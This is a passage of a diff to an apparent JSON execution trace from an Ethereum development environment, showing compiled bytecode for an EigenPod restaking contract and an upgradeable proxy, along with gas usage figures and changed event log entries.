0c01b836002811115612d0357612d03614e91565b0217905550905050816001600160401b0316816001600160401b031614612d8f577f0e5fac175b83177cc047381e030d8fb3b42b37bd1c025e22c280facad62c32df8c8e83604051612d7a9392919064ffffffffff9390931683526001600160401b03918216602084015216604082015260600190565b60405180910390a1612d8c81836136e5565b95505b5050505050979650505050505050565b61185f8282613704565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261168690849061381d565b6040805180820190915260008082526020820152612e20612e1b89615926565b6138ef565b6033546001600160401b03600160a01b90910481169082161015612ee25760405162461bcd60e51b815260206004820152606760248201527f456967656e506f642e70726f6f664973466f7256616c696454696d657374616d60448201527f703a20626561636f6e20636861696e2070726f6f66206d75737420626520617460648201527f206f72206166746572206d6f7374526563656e745769746864726177616c546960848201526606d657374616d760cc1b60a482015260c4016106a4565b6000612ef0612e1b8b615926565b90506000612f3088888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b905060008082815260366020526040902054600160c01b900460ff166002811115612f5d57612f5d614e91565b036130135760405162461bcd60e51b815260206004820152607460248201527f456967656e506f642e5f766572696679416e6450726f6365737357697468647260448201527f6177616c3a2056616c696461746f72206e657665722070726f76656e20746f2060648201527f68617665207769746864726177616c2063726564656e7469616c7320706f696e6084820152731d1959081d1bc81d1a1a5cc818dbdb9d1c9858dd60621b60a482015260c4016106a4565b60008181526035602090815260408083206001600160401b038616845290915290205460ff16156130d25760405162461bcd60e51b815260206004820152605b60248201527f456967656e506f642e5f766572696679416e6450726f6365737357697468647260448201527f6177616c3a207769746864726177616c2068617320616c72656164792062656560648201527f6e2070726f76656e20666f7220746869732074696d657374616d700000000000608482015260a4016106a4565b6001603560008381526020019081526020016000206000846001600160401b03166001600160401b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506131af8c87878e7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b03166344e71c806040518163ffffffff1660e01b8152600401602060405180830381865afa158015613186573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131aa9190615a78565b6138ff565b60006131ed87878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061432092505050565b90506131fd8d8a8a8e8e86613476565b600061323b88888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061433892505050565b90506132798a8a808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506136cd92505050565b6001600160401b031661329361328e8f615926565b614350565b6001600160401b03161061334b57603354600084815260366020908152604091829020825160808101845281546001600160401b038082168352600160401b8204811694830194909452600160801b81049093169381019390935261334093869388938a936001600160a01b03909316928892916060830190600160c01b900460ff16600281111561332757613327614e91565b600281111561333857613338614e91565b905250614362565b955050505050613365565b60335461334090839086906001600160a01b0316846145a0565b5098975050505050505050565b603354604051633036cd5360e21b81526001600160a01b03918216600482015283821660248201527f0000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc3189091169063c0db354c9083906044016000604051808303818588803b1580156133e357600080fd5b505af11580156133f7573d6000803e3d6000fd5b50505050505050565b60008361340e86858561467e565b1495945050505050565b60008160008151811061342d5761342d615517565b60200260200101519050919050565b60008160018151811061342d5761342d615517565b6000610d048260028151811061346957613469615517565b60200260200101516147cd565b61348260036002615b7c565b841461350d5760405162461bcd60e51b815260206004820152604e60248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a2056616c696461746f72206669656c64732068617320696e60648201526d0c6dee4e4cac6e840d8cadccee8d60931b608482015260a4016106a4565b600561351b60286001614c64565b6135259190614c64565b6135309060206157a0565b82146135b05760405162461bcd60e51b815260206004820152604360248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a2050726f6f662068617320696e636f7272656374206c656e6064820152620cee8d60eb1b608482015260a4016106a4565b600064ffffffffff82166135c660286001614c64565b600b901b179050600061360b87878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061483492505050565b905061365185858080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250859150869050613400565b6136c35760405162461bcd60e51b815260206004820152603d60248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a20496e76616c6964206d65726b6c652070726f6f6600000060648201526084016106a4565b5050505050505050565b6000610d048260078151811061346957613469615517565b60006136fd6001600160401b03808416908516615b88565b9392505050565b804710156137545760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016106a4565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146137a1576040519150601f19603f3d011682016040523d82523d6000602084013e6137a6565b606091505b50509050806116865760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016106a4565b6000613872826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316614acd9092919063ffffffff16565b805190915015611686578080602001905181019061389091906153a2565b6116865760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016106a4565b6000610d048261014001516147cd565b61390a600280615b7c565b831461397e5760405162461bcd60e51b81526020600482015260496024820152600080516020615bf083398151915260448201527f616c3a207769746864726177616c4669656c64732068617320696e636f7272656064820152680c6e840d8cadccee8d60bb1b608482015260a4016106a4565b61398a600d6002615b7c565b61399a60c0840160a08501615ba8565b6001600160401b031610613a045760405162461bcd60e51b815260206004820152603f6024820152600080516020615bf083398151915260448201527f616c3a20626c6f636b526f6f74496e64657820697320746f6f206c617267650060648201526084016106a4565b613a1060046002615b7c565b613a21610100840160e08501615ba8565b6001600160401b031610613a8d576040805162461bcd60e51b8152602060048201526024810191909152600080516020615bf083398151915260448201527f616c3a207769746864726177616c496e64657820697320746f6f206c6172676560648201526084016106a4565b613a9960186002615b7c565b613aa960e0840160c08501615ba8565b6001600160401b031610613b235760405162461bcd60e51b81526020600482015260476024820152600080516020615bf083398151915260448201527f616c3a20686973746f726963616c53756d6d617279496e64657820697320746f6064820152666f206c6172676560c81b608482015260a4016106a4565b60006001600160401b038216613b3b612e1b85615926565b6001600160401b031610613b50576005613b53565b60045b9050613b60600482614c64565b613b6b906001614c64565b613b769060206157a0565b613b8084806154d1565b905014613bf45760405162461bcd60e51b81526020600482015260486024820152600080516020615bf083398151915260448201527f616c3a207769746864726177616c50726f6f662068617320696e636f727265636064820152670e840d8cadccee8d60c31b608482015260a4016106a4565b613c0060046003614c64565b613c0b9060206157a0565b613c1860408501856154d1565b905014613c925760405162461bcd60e51b815260206004820152604e6024820152600080516020615bf083398151915260448201527f616c3a20657865637574696f6e5061796c6f616450726f6f662068617320696e60648201526d0c6dee4e4cac6e840d8cadccee8d60931b608482015260a4016106a4565b613c9e600360206157a0565b613cab60208501856154d1565b905014613d195760405162461bcd60e51b81526020600482015260426024820152600080516020615bf083398151915260448201527f616c3a20736c6f7450726f6f662068617320696e636f7272656374206c656e676064820152610e8d60f31b608482015260a4016106a4565b613d248160206157a0565b613d3160608501856154d1565b905014613da45760405162461bcd60e51b81526020600482015260476024820152600080516020615bf083398151915260448201527f616c3a2074696d657374616d7050726f6f662068617320696e636f7272656374606482015266040d8cadccee8d60cb1b608482015260a4016106a4565b600d613db260186001614c64565b613dbd906005614c64565b613dc8906001614c64565b613dd29190614c64565b613ddd9060206157a0565b613dea60808501856154d1565b905014613e735760405162461bcd60e51b81526020600482015260586024820152600080516020615bf083398151915260448201527f616c3a20686973746f726963616c53756d6d617279426c6f636b526f6f74507260648201527f6f6f662068617320696e636f7272656374206c656e6774680000000000000000608482015260a4016106a4565b6000613e8560c0850160a08601615ba8565b6001600160401b03166000613e9c600d6001614c64565b613eac60e0880160c08901615ba8565b6001600160401b0316901b600d613ec560186001614c64565b613ed0906001614c64565b613eda9190614c64565b601b901b1717179050613f35613ef360808601866154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508b9250505061010087013584613400565b613fa85760405162461bcd60e51b815260206004820152604a6024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420686973746f726963616c73756d6d617279206d656064820152693935b63290383937b7b360b11b608482015260a4016106a4565b613fff613fb860208601866154d1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052506101008a013593506101208a013592509050613400565b61405f5760405162461bcd60e51b815260206004820152603d6024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420736c6f74206d65726b6c652070726f6f6600000060648201526084016106a4565b60496140b761407160408701876154d1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050505061010087013561016088013584613400565b6141295760405162461bcd60e51b81526020600482015260496024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420657865637574696f6e5061796c6f6164206d657260648201526835b63290383937b7b360b91b608482015260a4016106a4565b5061418161413a60608601866154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101608601356101408701356009613400565b6141ec5760405162461bcd60e51b81526020600482015260426024820152600080516020615bf083398151915260448201527f616c3a20496e76616c69642074696d657374616d70206d65726b6c652070726f60648201526137b360f11b608482015260a4016106a4565b60006141ff610100860160e08701615ba8565b6001600160401b031661421460046001614c64565b600e901b179050600061425988888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061483492505050565b90506142a961426887806154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101608801358385613400565b6143155760405162461bcd60e51b81526020600482015260436024820152600080516020615bf083398151915260448201527f616c3a20496e76616c6964207769746864726177616c206d65726b6c6520707260648201526237b7b360e91b608482015260a4016106a4565b505050505050505050565b6000610d048260018151811061346957613469615517565b6000610d048260038151811061346957613469615517565b600060206120e38361012001516147cd565b604080518082019091526000808252602082015260007f00000000000000000000000000000000000000000000000000000007735940006001600160401b0316846001600160401b031611156143d957507f00000000000000000000000000000000000000000000000000000007735940006143dc565b50825b60408051808201909152600080825260208201526143fa8286615760565b6001600160401b03908116825260348054849260009161441c9185911661581a565b92506101000a8154816001600160401b0302191690836001600160401b0316021790555061444e8285602001516136e5565b602082015260028460600151600281111561446b5761446b614e91565b1461448d576039805490600061448083615bc5565b9091555050600260608501525b600060208086018281528a83526036909152604091829020865181549251938801516001600160401b03908116600160801b0267ffffffffffffffff60801b19958216600160401b026001600160801b0319909516929091169190911792909217928316821781556060870151879391929091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b83600281111561453257614532614e91565b0217905550506040805164ffffffffff8c1681526001600160401b038a8116602083015288168183015290516001600160a01b03891692507fb76a93bb649ece524688f1a01d184e0bbebcda58eae80c28a898bec3fb5a09639181900360600190a298975050505050505050565b60408051808201909152600080825260208201526040805164ffffffffff871681526001600160401b0380871660208301528416918101919091526001600160a01b038416907f8a7335714231dbd551aaba6314f4a97a14c201e53a3e25e1140325cdf67d7a4e9060600160405180910390a2603880548391906000906146319084906001600160401b031661581a565b92506101000a8154816001600160401b0302191690836001600160401b031602179055506040518060400160405280836001600160401b0316815260200160008152509050949350505050565b6000835160001415801561469d57506020845161469b9190615738565b155b61472c5760405162461bcd60e51b815260206004820152605460248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f665368613260448201527f35363a2070726f6f66206c656e6774682073686f756c642062652061206e6f6e60648201527316bd32b9379036bab63a34b836329037b310199960611b608482015260a4016106a4565b604080516020808201909252848152905b855181116147c357614750600285615738565b600003614786578151600052808601516020526020826040600060026107d05a03fa61477b57600080fd5b6002840493506147b1565b8086015160005281516020526020826040600060026107d05a03fa6147aa57600080fd5b6002840493505b6147bc602082614c64565b905061473d565b5051949350505050565b60f881901c60e882901c61ff00161760d882901c62ff0000161760c882901c63ff000000161764ff0000000060b883901c161765ff000000000060a883901c161766ff000000000000609883901c161767ff0000000000000060889290921c919091161790565b60008060028351614845919061574c565b90506000816001600160401b03811115614861576148616150b9565b60405190808252806020026020018201604052801561488a578160200160208202803683370190505b50905060005b82811015614987576002856148a583836157a0565b815181106148b5576148b5615517565b6020026020010151868360026148cb91906157a0565b6148d6906001614c64565b815181106148e6576148e6615517565b6020026020010151604051602001614908929190918252602082015260400190565b60408051601f1981840301815290829052614922916158a5565b602060405180830381855afa15801561493f573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061496291906154b8565b82828151811061497457614974615517565b6020908102919091010152600101614890565b5061499360028361574c565b91505b8115614aa95760005b82811015614a96576002826149b483836157a0565b815181106149c4576149c4615517565b6020026020010151838360026149da91906157a0565b6149e5906001614c64565b815181106149f5576149f5615517565b6020026020010151604051602001614a17929190918252602082015260400190565b60408051601f1981840301815290829052614a31916158a5565b602060405180830381855afa158015614a4e573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190614a7191906154b8565b828281518110614a8357614a83615517565b602090810291909101015260010161499f565b50614aa260028361574c565b9150614996565b80600081518110614abc57614abc615517565b602002602001015192505050919050565b6060614adc8484600085614ae4565b949350505050565b606082471015614b455760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016106a4565b6001600160a01b0385163b614b9c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016106a4565b600080866001600160a01b03168587604051614bb891906158a5565b60006040518083038185875af1925050503d8060008114614bf5576040519150601f19603f3d011682016040523d82523d6000602084013e614bfa565b606091505b5091509150614c0a828286614c15565b979650505050505050565b60608315614c245750816136fd565b825115614c345782518084602001fd5b8160405162461bcd60e51b81526004016106a49190615bdc565b634e487b7160e01b600052601160045260246000fd5b80820180821115610d0457610d04614c4e565b6001600160401b038116811461200057600080fd5b8035614c9781614c77565b919050565b60008060408385031215614caf57600080fd5b823591506020830135614cc181614c77565b809150509250929050565b600060408284031215614cde57600080fd5b50919050565b60008083601f840112614cf657600080fd5b5081356001600160401b03811115614d0d57600080fd5b6020830191508360208260051b8501011115614d2857600080fd5b9250929050565b60008060008060008060008060a0898b031215614d4b57600080fd5b8835614d5681614c77565b975060208901356001600160401b03811115614d7157600080fd5b614d7d8b828c01614ccc565b97505060408901356001600160401b03811115614d9957600080fd5b614da58b828c01614ce4565b90975095505060608901356001600160401b03811115614dc457600080fd5b614dd08b828c01614ce4565b90955093505060808901356001600160401b03811115614def57600080fd5b614dfb8b828c01614ce4565b999c989b5096995094979396929594505050565b60008083601f840112614e2157600080fd5b5081356001600160401b03811115614e3857600080fd5b602083019150836020828501011115614d2857600080fd5b60008060208385031215614e6357600080fd5b82356001600160401b03811115614e7957600080fd5b614e8585828601614e0f565b90969095509350505050565b634e487b7160e01b600052602160045260246000fd5b60038110614ec557634e487b7160e01b600052602160045260246000fd5b9052565b60208101610d048284614ea7565b600060208284031215614ee957600080fd5b5035919050565b60006080820190506001600160401b0383511682526001600160401b0360208401511660208301526001600160401b0360408401511660408301526060830151614f3d6060840182614ea7565b5092915050565b600080600080600060608688031215614f5c57600080fd5b85356001600160401b03811115614f7257600080fd5b614f7e88828901614e0f565b90965094505060208601356001600160401b03811115614f9d57600080fd5b614fa988828901614e0f565b96999598509660400135949350505050565b60008060008060008060008060a0898b031215614fd757600080fd5b8835614fe281614c77565b975060208901356001600160401b03811115614ffd57600080fd5b6150098b828c01614ce4565b90985096505060408901356001600160401b0381111561502857600080fd5b6150348b828c01614ccc565b95505060608901356001600160401b03811115614dc457600080fd5b6001600160a01b038116811461200057600080fd5b8035614c9781615050565b6000806040838503121561508357600080fd5b823561508e81615050565b946020939093013593505050565b6000602082840312156150ae57600080fd5b81356136fd81615050565b634e487b7160e01b600052604160045260246000fd5b60405161018081016001600160401b03811182821017156150f2576150f26150b9565b60405290565b604051601f8201601f191681016001600160401b0381118282101715615120576151206150b9565b604052919050565b60006001600160401b03821115615141576151416150b9565b5060051b60200190565b600082601f83011261515c57600080fd5b813561516f61516a82615128565b6150f8565b8082825260208201915060208360051b86010192508583111561519157600080fd5b602085015b838110156151ae578035835260209283019201615196565b5095945050505050565b6000806000606084860312156151cd57600080fd5b83356001600160401b038111156151e357600080fd5b8401601f810186136151f457600080fd5b803561520261516a82615128565b8082825260208201915060208360051b85010192508883111561522457600080fd5b6020840193505b8284101561524f57833561523e81615050565b82526020938401939091019061522b565b955050505060208401356001600160401b0381111561526d57600080fd5b6152798682870161514b565b92505061528860408501615065565b90509250925092565b60008060008060008060008060008060c08b8d0312156152b057600080fd5b6152b98b614c8c565b995060208b01356001600160401b038111156152d457600080fd5b6152e08d828e01614ccc565b99505060408b01356001600160401b038111156152fc57600080fd5b6153088d828e01614ce4565b90995097505060608b01356001600160401b0381111561532757600080fd5b6153338d828e01614ce4565b90975095505060808b01356001600160401b0381111561535257600080fd5b61535e8d828e01614ce4565b90955093505060a08b01356001600160401b0381111561537d57600080fd5b6153898d828e01614ce4565b915080935050809150509295989b9194979a5092959850565b6000602082840312156153b457600080fd5b815180151581146136fd57600080fd5b6020808252603e908201527f456967656e506f642e6f6e6c795768656e4e6f745061757365643a20696e646560408201527f782069732070617573656420696e20456967656e506f644d616e616765720000606082015260800190565b60208082526028908201527f456967656e506f642e6f6e6c79456967656e506f644f776e65723a206e6f74206040820152673837b227bbb732b960c11b606082015260800190565b6020808252602f908201527f456967656e506f642e6861734e6576657252657374616b65643a20726573746160408201526e1ada5b99c81a5cc8195b98589b1959608a1b606082015260800190565b6000602082840312156154ca57600080fd5b5051919050565b6000808335601e198436030181126154e857600080fd5b8301803591506001600160401b0382111561550257600080fd5b602001915036819003821315614d2857600080fd5b634e487b7160e01b600052603260045260246000fd5b60006020828403121561553f57600080fd5b813564ffffffffff811681146136fd57600080fd5b6000808335601e1984360301811261556b57600080fd5b8301803591506001600160401b0382111561558557600080fd5b6020019150600581901b3603821315614d2857600080fd5b60208082526031908201527f456967656e506f642e6f6e6c79456967656e506f644d616e616765723a206e6f6040820152703a1032b4b3b2b72837b226b0b730b3b2b960791b606082015260800190565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60005b8381101561563257818101518382015260200161561a565b50506000910152565b60008151808452615653816020860160208601615617565b601f01601f19169290920160200192915050565b60808152600061567b60808301888a6155ee565b828103602084015261568d818861563b565b905082810360408401526156a28186886155ee565b915050826060830152979650505050505050565b602081526000614adc6020830184866155ee565b80820182811260008312801582168215821617156156ea576156ea614c4e565b505092915050565b80820260008212600160ff1b8414161561570e5761570e614c4e565b8181058314821517610d0457610d04614c4e565b634e487b7160e01b600052601260045260246000fd5b60008261574757615747615722565b500690565b60008261575b5761575b615722565b500490565b6001600160401b038281168282160390811115610d0457610d04614c4e565b6000823561017e1983360301811261579657600080fd5b9190910192915050565b8082028115828204841417610d0457610d04614c4e565b81810381811115610d0457610d04614c4e565b6001600160401b038181168382160290811690818114614f3d57614f3d614c4e565b60006001600160401b0383168061580557615805615722565b806001600160401b0384160491505092915050565b6001600160401b038181168382160190811115610d0457610d04614c4e565b80516020808301519190811015614cde5760001960209190910360031b1b16919050565b60006001820161586f5761586f614c4e565b5060010190565b60008351615888818460208801615617565b6001600160801b0319939093169190920190815260100192915050565b60008251615796818460208701615617565b600082601f8301126158c857600080fd5b81356001600160401b038111156158e1576158e16150b9565b6158f4601f8201601f19166020016150f8565b81815284602083860101111561590957600080fd5b816020850160208301376000918101602001919091529392505050565b6000610180823603121561593957600080fd5b6159416150cf565b82356001600160401b0381111561595757600080fd5b615963368286016158b7565b82525060208301356001600160401b0381111561597f57600080fd5b61598b368286016158b7565b60208301525060408301356001600160401b038111156159aa57600080fd5b6159b6368286016158b7565b60408301525060608301356001600160401b038111156159d557600080fd5b6159e1368286016158b7565b60608301525060808301356001600160401b03811115615a0057600080fd5b615a0c368286016158b7565b608083015250615a1e60a08401614c8c565b60a0820152615a2f60c08401614c8c565b60c0820152615a4060e08401614c8c565b60e082015261010083810135908201526101208084013590820152610140808401359082015261016092830135928101929092525090565b600060208284031215615a8a57600080fd5b81516136fd81614c77565b6001815b6001841115615ad057808504811115615ab457615ab4614c4e565b6001841615615ac257908102905b60019390931c928002615a99565b935093915050565b600082615ae757506001610d04565b81615af457506000610d04565b8160018114615b0a5760028114615b1457615b30565b6001915050610d04565b60ff841115615b2557615b25614c4e565b50506001821b610d04565b5060208310610133831016604e8410600b8410161715615b53575081810a610d04565b615b606000198484615a95565b8060001904821115615b7457615b74614c4e565b029392505050565b60006136fd8383615ad8565b8181036000831280158383131683831282161715614f3d57614f3d614c4e565b600060208284031215615bba57600080fd5b81356136fd81614c77565b600081615bd457615bd4614c4e565b506000190190565b6020815260006136fd602083018461563b56fe426561636f6e436861696e50726f6f66732e7665726966795769746864726177a26469706673582212201a01de1d59be7fe16e003e55aa445e180a6e7594b61dacfe81b7a8e81476cdc664736f6c634300081b0033", + "gas_used": 4754434, + "gas_limit": 6306973, "status": "Return", "steps": [], "decoded": { @@ -2132,23 +1863,9 @@ { "raw_log": { "topics": [ - "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" - ], - "data": "0x" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - }, - { - "raw_log": { - "topics": [ - "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" + "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" + "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" }, "decoded": { "name": null, @@ -2160,105 +1877,40 @@ "ordering": [ { "Log": 0 - }, - { - "Log": 1 } ] } ], "exit": "Return", - "out": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033", - "nonce": 28, - "gas_used": 573230 + "out": "0x6080604052600436106101855760003560e01c806374cdd798116100d1578063c49074421161008a578063e251ef5211610064578063e251ef5214610563578063e2c8344514610583578063f2882461146105a3578063fe80b087146105d757600080fd5b8063c490744214610503578063c4d66de814610523578063dda3346c1461054357600080fd5b806374cdd7981461044057806387e0d289146104745780639b4e46341461049b578063a50600f4146104ae578063b522538a146104ce578063baa7145a146104ee57600080fd5b806334bea20a1161013e57806358eaee791161011857806358eaee791461038f5780635d3f65b6146103bc5780636fcd0e53146103dc5780637439841f1461040957600080fd5b806334bea20a146103005780633f65cf191461033b5780634665bcda1461035b57600080fd5b80630b18ff66146101db5780630cd4649e146102185780631a5057be1461022f5780631d905d5c146102635780633106ab53146102af5780633474aa16146102e057600080fd5b366101d657346037600082825461019c9190614c64565b90915550506040513481527f6fdd3dbdb173299608c0aa9f368735857c8842b581f8389238bf05bd04b3bf499060200160405180910390a1005b600080fd5b3480156101e757600080fd5b506033546101fb906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561022457600080fd5b5061022d6105fb565b005b34801561023b57600080fd5b506101fb7f0000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc31881565b34801561026f57600080fd5b506102977f000000000000000000000000000000000000000000000000000000077359400081565b6040516001600160401b03909116815260200161020f565b3480156102bb57600080fd5b506034546102d090600160401b900460ff1681565b604051901515815260200161020f565b3480156102ec57600080fd5b50603454610297906001600160401b031681565b34801561030c57600080fd5b506102d061031b366004614c9c565b603560209081526000928352604080842090915290825290205460ff1681565b34801561034757600080fd5b5061022d610356366004614d2f565b610764565b34801561036757600080fd5b506101fb7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b34801561039b57600080fd5b506103af6103aa366004614e50565b610ca5565b60405161020f9190614ec9565b3480156103c857600080fd5b50603854610297906001600160401b031681565b3480156103e857600080fd5b506103fc6103f7366004614ed7565b610d0a565b60405161020f9190614ef0565b34801561041557600080fd5b506103af610424366004614ed7565b600090815260366020526040902054600160c01b900460ff1690565b34801561044c57600080fd5b506101fb7f000000000000000000000000424242424242424242424242424242424242424281565b34801561048057600080fd5b5060335461029790600160a01b90046001600160401b031681565b61022d6104a9366004614f44565b610db7565b3480156104ba57600080fd5b5061022d6104c9366004614fbb565b610f64565b3480156104da57600080fd5b506103fc6104e9366004614e50565b6112f0565b3480156104fa57600080fd5b5061022d6113e3565b34801561050f57600080fd5b5061022d61051e366004615070565b61144e565b34801561052f57600080fd5b5061022d61053e36600461509c565b61168b565b34801561054f57600080fd5b5061022d61055e3660046151b8565b611863565b34801561056f57600080fd5b5061022d61057e366004615291565b611a2c565b34801561058f57600080fd5b5061022d61059e366004615070565b611dec565b3480156105af57600080fd5b506102977f000000000000000000000000000000000000000000000000000000006059f46081565b3480156105e357600080fd5b506105ed60375481565b60405190815260200161020f565b604051635ac86ab760e01b8152600260048201819052907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031690635ac86ab790602401602060405180830381865afa158015610663573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068791906153a2565b156106ad5760405162461bcd60e51b81526004016106a4906153c4565b60405180910390fd5b6033546001600160a01b031633146106d75760405162461bcd60e51b81526004016106a490615421565b603454600160401b900460ff16156107015760405162461bcd60e51b81526004016106a490615469565b6034805460ff60401b1916600160401b179055603354610729906001600160a01b0316611fcf565b6033546040516001600160a01b03909116907fca8dfc8c5e0a67a74501c072a3325f685259bebbae7cfd230ab85198a78b70cd90600090a250565b6033546001600160a01b0316331461078e5760405162461bcd60e51b81526004016106a490615421565b604051635ac86ab760e01b8152600260048201819052907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031690635ac86ab790602401602060405180830381865afa1580156107f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081a91906153a2565b156108375760405162461bcd60e51b81526004016106a4906153c4565b603454600160401b900460ff166108af5760405162461bcd60e51b815260206004820152603660248201527f456967656e506f642e686173456e61626c656452657374616b696e673a207265604482015